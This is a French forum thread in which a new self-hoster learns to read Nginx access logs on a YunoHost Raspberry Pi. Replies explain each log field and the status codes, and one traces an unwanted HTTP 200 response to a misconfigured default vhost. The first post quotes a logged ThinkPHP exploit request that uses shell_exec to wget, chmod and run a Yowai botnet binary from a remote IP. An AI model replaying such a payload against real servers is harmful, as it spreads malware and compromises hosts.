Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 29/01/2019, à 21:46

metalux

[Résolu]Comment lire et interpréter les logs?

Bonjour,
Suite à cette discussion, vous m'avez convaincu d'essayer de me lancer dans l'aventure des serveurs.
Je fais mes armes sur un raspberry, oui je sais ce n'est pas ubuntu mais ça ne change rien car mon interrogation concerne n'importe quelle distribution.
Malgré avoir chercher, je ne trouve aucune réponse simple basée sur l'exemple aussi je compte sur vous une fois de plus pour me former smile

Je me suis renseigné sur la sécurité, j'ai portsentry et fail2ban d'installé, authentification ssh par clefs, est-ce une bonne base pour commencer?
Ensuite j'ai installé logwatch pour avoir des rapports mail mais je suis incapable d'interpréter ceux-ci. Donc l'important est surtout de comprendre ceux-ci avant d'essayer d'améliorer la sécurité avec des outils que je ne maîtrise pas.

Comment lire et interpréter un log? Je pense principalement à ceux de Nginx. Avec Apache je suppose que c'est la même chose, n'hésitez pas à apporter des précisions si ce n'était pas le cas car je suis en mode découverte.
Pour Nginx, j'ai cru comprendre que c'était normal que le fichier access_log se remplissait de tentatives d'accès mais que ce n'était pas important tant que la réponse était du type 400 (403 et 404 dans mon cas). est-ce exact?
Et qu'en est-il des autres réponses? Je pense surtout les réponses 200 dixit wikipedia: Requête traitée avec succès. La réponse dépendra de la méthode de requête utilisée.

Rien ne vaut l'exemple à partir de quelques lignes de mon fichier access.log, si vous pouviez me les expliquez. J'ai essayé de mettre les différents cas rencontrés:

Access.log de Nginx a écrit :

137.74.166.226 - - [27/Jan/2019:12:01:15 +0000] "CONNECT 85.94.204.153:31204 HTTP/1.0" 400 166 "-" "-"
137.74.166.226 - - [27/Jan/2019:12:01:15 +0000] "POST http://spamcheck.freenode.net/freenode- … hecker.txt HTTP/1.0" 404 162 "-" "-"
185.53.88.19 - - [28/Jan/2019:11:07:58 +0000] "HEAD /robots.txt HTTP/1.0" 404 0 "-" "-"
5.188.210.12 - - [28/Jan/2019:17:16:36 +0000] "\x05\x01\x00" 400 166 "-" "-"
122.224.129.234 - - [29/Jan/2019:17:59:43 +0000] "GET / HTTP/1.0" 302 154 "-" "-"
60.191.0.244 - - [29/Jan/2019:18:10:15 +0000] "GET / HTTP/1.0" 200 612 "-" "-"
191.96.110.49 - - [29/Jan/2019:18:20:59 +0000] "GET / HTTP/1.0" 200 612 "-" "Mozilla/5.0(WindowsNT6.1;rv:31.0)Gecko/20100101Firefox/31.0"
222.41.30.50 - - [29/Jan/2019:18:56:18 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.221/bins/Yowai.x86 -O /tmp/Yowai; chmod 777 /tmp/Yowai; /tmp/Yowai Yowai.x86' HTTP/1.1" 400 166 "-" "Yowai/2.0"

j'ai également parfois l'adresse ip remplacée par ::1 qu'est-ce que ça signifie?
Et dans logwatch: A total of 2 sites probed the server ou a total of 1 robots were logged....

Dernière modification par metalux (Le 03/02/2019, à 23:47)

Hors ligne

#2 Le 29/01/2019, à 23:13

Nuliel

Re : [Résolu]Comment lire et interpréter les logs?

Tu pars de zéro sur un raspberry avec yunohost ou raspbian que tu transformes en serveur web? (simple curiosité)

Je me suis renseigné sur la sécurité, j'ai portsentry et fail2ban d'installé, authentification ssh par clefs, est-ce une bonne base pour commencer?

Pour moi c'est une bonne base

Pour Nginx, j'ai cru comprendre que c'était normal que le fichier access_log se remplissait de tentatives d'accès mais que ce n'était pas important tant que la réponse était du type 400 (403 et 404 dans mon cas). est-ce exact?

Oui, il y a des bots qui tentent des trucs pour compromettre des serveurs, ça ressemble bien à une tentative la dernière ligne. https://blog.trendmicro.com/trendlabs-s … and-yowai/ a un truc qui correspond à peu près à ce que tu as. Apparemment le botnet a tenté d'exploiter une faille de thinkphp (c'est apparemment un cms)

::1 c'est pas la boucle locale?

Hors ligne

#3 Le 29/01/2019, à 23:44

metalux

Re : [Résolu]Comment lire et interpréter les logs?

Bonsoir Naziel,
J'ai installé Yunohost suite aux conseils de Tamarou et quelques applications dont nextcloud que krodelabestiole m'indiquait, et le côté technique qu'il m'indiquait est très simplifié par YnH.
Les boîtes mails fonctionnent bien également. J'ai sécurisé un peu plus en modifiant le vhost (c'est comme ça que ça s'appelle?) pour interdire l'accès à l'interface admin web de l'extérieur du réseau local + des règles fail2ban pour bannir après 3 mauvais mots de passe sur les applications installées. Tout fonctionne bien mais sans bien comprendre les remontées d'info des logs par logwatch, je ne serai pas avancé si je subi une attaque ne sachant que faire.
Donc pour toi il n'y a rien à faire, ce genre de tentatives faisant parti de la vie d'un serveur? Et pour les réponse en 200, ça signifie quoi? Elles sont toutes sous la forme GET / HTTP/1.0" 200, ça concerne toujours / (racine) et jamais autre chose. Peut-être est-ce normal mais comme je ne comprends pas et que je vois le statut 200 qui veut dire OK, je me pose des questions sur ce que c'est sachant qu'il n'y a que moi à accéder au serveur pour l'instant.

Hors ligne

#4 Le 30/01/2019, à 06:16

Nuliel

Re : [Résolu]Comment lire et interpréter les logs?

Il y a quoi à la racine? (si tu vas sur l'adresse en question sans la partie qui permet d'accéder à la boite mail, ...)
Je mets une discussion que j'avais entamé sur le forum yunohost à ce propos: https://forum.yunohost.org/t/log-nginx-bizarre/3405 , il y a des trucs à piocher dedans

Dernière modification par Nuliel (Le 30/01/2019, à 06:20)

Hors ligne

#5 Le 30/01/2019, à 08:26

metalux

Re : [Résolu]Comment lire et interpréter les logs?

Si je me contente du nom de domaine dans la barre d'adresse -c'est bien la racine, n'est-ce pas?- je suis redirigé vers le Sso.
Je viens de voir une autre ligne de forme différente avec un code retour 200:

access.log a écrit :

125.64.94.206 - - [29/Jan/2019:11:38:49 +0000] "GET /?q=login.destroy.session&r=0.01231231230 HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"

J'ai parcouru le lien que tu m'as indiqué, ça revient à ce que j'avais compris, rien d'anormal et ce n'est pas inquiétant avec les codes retour 400 et assimilé. Ce qui m'inquiète ici, bien que c'est peut-être normal mais que je ne le comprends pas pour l'instant, ce sont ces codes retour en 200.
As-tu des retours similaires dans tes logs?

Dernière modification par metalux (Le 30/01/2019, à 08:27)

Hors ligne

#6 Le 30/01/2019, à 09:30

bruno

Re : [Résolu]Comment lire et interpréter les logs?

À partir du moment où du as un service accessible publiquement, web, ssh ou autre, tu auras des tentatives de connexions très nombreuses sur ces services.
Les plus classiques sont les tentatives d'attaque par force brute. Par exemple, sur un serveur web tu verras plein de requêtes vers wp-login.php, me si tu n'héberge pas de Wordpress wink

Il ne faut pas s'en inquiéter, comme tu le dis cela fait partie de la vie normale d'un serveur, du moment que les services installés sont correctement configurés avec des mots de passe solides. C'est bien de quand même surveiller un peu et logwatch et un bon outil pour cela.

portsentry c'est AMHA une mesure de sécurité tout à fait exagérée et inutile, fail2ban peut servir mais c'est assez gourmand en mémoire.

De manière générale il faut se focaliser sur la sécurité des services hébergés : configuration, restrictions d'accès, mots de passe, mises à jour régulière, etc. plutôt que d'ajouter des couches de sécurité qui agissent après-coup et sont parfois contre-productives (risque de mauvaise configuration, augmentation de la surface d'attaque, gaspillage de ressources,…).

#7 Le 30/01/2019, à 20:42

metalux

Re : [Résolu]Comment lire et interpréter les logs?

Bonjour bruno,
Vu ta réponse, j'avais finalement adopté le bon comportement en m'étant orienté naturellement sur la compréhension des fichiers de configuration (sans doute mon habitude sur Gnu/Linux  ou tout est fichier n'y est pas étrangère) et ce n'est que cette mauvaise interprétation des logs qui m'a fais me tourner vers des logiciels comme portsentry installé tout fraîchement qui finalement s'avère plutôt inutile d'après tes conseils.

Pour les réponse en 200, peux-tu m'expliquer à quoi elle correspondent? Normalement je devrais avoir une redirection vu que la racine redirige sur le portail Sso de yunohost. Des logs de ce type me paraissent quand même plus cohérent:

access.log a écrit :

178.73.215.171 - - [30/Jan/2019:16:00:57 +0000] "GET / HTTP/1.0" 302 154 "-" "-"

ou bien

access.log a écrit :

71.6.232.7 - - [30/Jan/2019:09:36:06 +0000] "GET / HTTP/1.1" 302 154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"

pourtant je reçois toujours des logs comme celui-ci avec code retour 200:

access.log a écrit :

3.122.216.32 - - [30/Jan/2019:19:13:27 +0000] "GET / HTTP/1.1" 200 612 "-" "Wget/1.19.4 (linux-gnu)"

Une fois compris ceci, je pense que j'aurai l'essentiel pour analyser un comportement anormal, il n'ya plus que ces lignes de logs que je ne comprends toujours pas.

Hors ligne

#8 Le 30/01/2019, à 22:58

bruno

Re : [Résolu]Comment lire et interpréter les logs?

Tu as au moins un site accessible directement en HTTP, sinon tu n'aurai pas de code de retour 200 (succès) pour une requête sur la racine (GET /). Je ne peux pas t'en dire plus sans voir la configuration complète de ton serveur web.

#9 Le 30/01/2019, à 23:16

metalux

Re : [Résolu]Comment lire et interpréter les logs?

Ah ok ça veut dire ça. Je ne sais pas, j'ai testé toutes les adresses qui me permettent d'accéder à mes applications (nextcloud, etc...) en Http et la redirection est bien faîte en https pour toutes, je ne vois pas où ça cloche sad
Est-ce un problème en soit de laisser comme ça?  Si oui, comment dois-je m'y prendre pour investiguer?

@Naziel
: Je te repose la question, au cas ou tu ne l'as pas vu et que tu possède toujours une instance YnH:
As-tu des retours similaires dans tes logs? Ça me permettrait de savoir si c'est dû à mes modifications ou si c'est lié à la configuration de base de YnH.

Dernière modification par metalux (Le 31/01/2019, à 01:18)

Hors ligne

#10 Le 31/01/2019, à 06:16

Nuliel

Re : [Résolu]Comment lire et interpréter les logs?

Je n'ai plus l'instance yunohost mais je vais la remettre en route. Je ne peux donc pas te dire pour les retours 200. Mais je me souviens d'avoir eu des tas de visites de bots.

Dernière modification par Nuliel (Le 31/01/2019, à 06:16)

Hors ligne

#11 Le 31/01/2019, à 07:31

krodelabestiole

Re : [Résolu]Comment lire et interpréter les logs?

je vais prendre cette ligne en exemple :

metalux a écrit :
125.64.94.206 - - [29/Jan/2019:11:38:49 +0000] "GET /?q=login.destroy.session&r=0.01231231230 HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"

- 125.64.94.206 c'est l'adresse IP du client qui toque à la porte de ton serveur (on dit qu'il fait une requête, et ton serveur renvoie une réponse). Celle-ci est de la forme IPv4. ::1 c'est une IPv6.
https://fr.wikipedia.org/wiki/IPv6

::1/128 est l’adresse de boucle locale (dite aussi localhost). Elle est semblable à 127.0.0.1 en IPv4.

c'est donc ton ordi qui se parle à lui-même en IPv6.

- le premier - j'ai pas trop pigé ce que c'était, mais a priori c'est quasi toujours vide...

- le second - c'est le nom d'utilisateur dans le cas d'une authentification HTTP (qui ne s'utilise plus des masses).

- [29/Jan/2019:11:38:49 +0000] c'est la date et l'heure de la requête, et la time zone de ton serveur. +0000 tu es en UTC +0. Attention : ton serveur n'est pas à l'heure française (+0100).

- GET c'est la méthode de la requête HTTP. Dans les lignes que tu as postées on trouve du GET, du POST, du HEAD, du CONNECT. La liste est là : https://fr.wikipedia.org/wiki/Hypertext … l#Méthodes. On utilise GET et POST principalement.

- /?q=login.destroy.session&r=0.01231231230 c'est le chemin et la chaîne de requête de l'URL appelée. Tu trouves aussi souvent / (quand on spécifie seulement le nom de domaine dans le navigateur par ex.). Voir ici si ces notions ne sont pas claires : https://doc.ubuntu-fr.org/web

- HTTP/1.1 c'est la version du protocole HTTP utilisée pour la requête du client.

- 200 c'est le code de la réponse envoyée par ton serveur HTTP. 200 ça veut dire que tout a roulé. Tu es aussi tombé sur des 302 (redirection temporaire), des 400 (mauvaise syntaxe de la requête) et des 404 (contenu introuvable sur le serveur). La liste des codes est ici : https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP

- 396 c'est la taille de la réponse en octets.

- "-" c'est le referrer URL. Ici vide, mais c'est l'URL depuis laquelle cette page a été appelée, si on a suivi un lien sur une page HTML par ex.. ça peut avoir une utilité en terme de statistique, pour voir d'où viennent tes visiteurs. ça reste vide par ex. quand on rempli la barre d'adresse du navigateur à la main.

- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 c'est le user agent du navigateur. ça donne en principe des infos sur le navigateur utilisé, mais les navigateurs permettent de le personnaliser donc c'est pas forcément une valeur sûre. Dans tes logs on trouve aussi l'outil wget Wget/1.19.4 (linux-gnu) et un user agent vide (ça peut être cURL, si on a justement pas configuré le user agent).

Dernière modification par krodelabestiole (Le 31/01/2019, à 07:52)

Hors ligne

#12 Le 31/01/2019, à 09:05

bruno

Re : [Résolu]Comment lire et interpréter les logs?

j'ai testé toutes les adresses qui me permettent d'accéder à mes applications (nextcloud, etc...) en Http et la redirection est bien faîte en https pour toutes,

Est-ce tu as testé juste avec ton IP ou les noms de domaine qui correspondent à ton IP ?
C'est bien de tester, mais il faut regarder la configuration de nginx. Tu as très probablement un hôte par défaut qui répond en HTTP avec une jolie page « Welcome to nginx » wink

#13 Le 31/01/2019, à 12:00

metalux

Re : [Résolu]Comment lire et interpréter les logs?

@krodelabestiole
Merci énormément, malgré avoir passé pas mal de temps à faire des recherches, je n'ai rien trouvé d'aussi détaillé que ta réponse. Pour l'heure du serveur, je vais regarder.

@bruno
Bingo! J'avais testé avec le nom de domaine, si j'entre l'ip de la box en http, je tombe effectivement sur sur cette page: "Welcome to Nginx"

Edit: Bon j'ai trouvé, c'est une modification que j'ai (mal) faîtes et que j'avais oublié roll Mon but était d'interdire l'accès à la page web d'administration du serveur. J'avais commenté dans la partie serveur pour interdire la redirection:

location /yunohost/admin {
        return 301 https://$http_host$request_uri;
    }

J'ai rectifié en modifiant en ajoutant allow...et deny all....dans le fichier yunohost_admin.conf.inc

# Avoid the nginx path/alias traversal weakness ( #1037 )
rewrite ^/yunohost/admin$ /yunohost/admin/ permanent;

location /yunohost/admin/ {
    alias /usr/share/yunohost/admin/;
    default_type text/html;
    index index.html;
    allow 192.168.0.0/24;
    deny all;
    # Short cache on handlebars templates
    location ~* \.(?:ms)$ {
      expires 5m;
      add_header Cache-Control "public";
    }
}

Il n'y a plus de réponse 200 dans les logs mais bien les redirections. Aucun accès à la page web d'administration que ce soit avec l'adresse ip, le nom de domaine, en http ou https, j'ai réussi à faire ce que je voulais.

Dernière modification par metalux (Le 03/02/2019, à 23:20)

Hors ligne

#14 Le 03/02/2019, à 23:46

metalux

Re : [Résolu]Comment lire et interpréter les logs?

Je me suis pas mal documenté ces 2-3 derniers jours et j'ai expérimenté sur ce serveur de test. J'ai finalement réinstallé une image clonezilla précédent tous ces tests et j'ai suivi tes conseils bruno, je n'ai pas réinstallé portsentry mais conservé logwatch et fail2ban et surtout, j'ai bien compris l'intérêt d'avoir des fichiers de configuration bien paramétrés. Ce serveur est maintenant prêt à prendre son envol.
Merci encore pour votre participation à tous les 3 smile

Hors ligne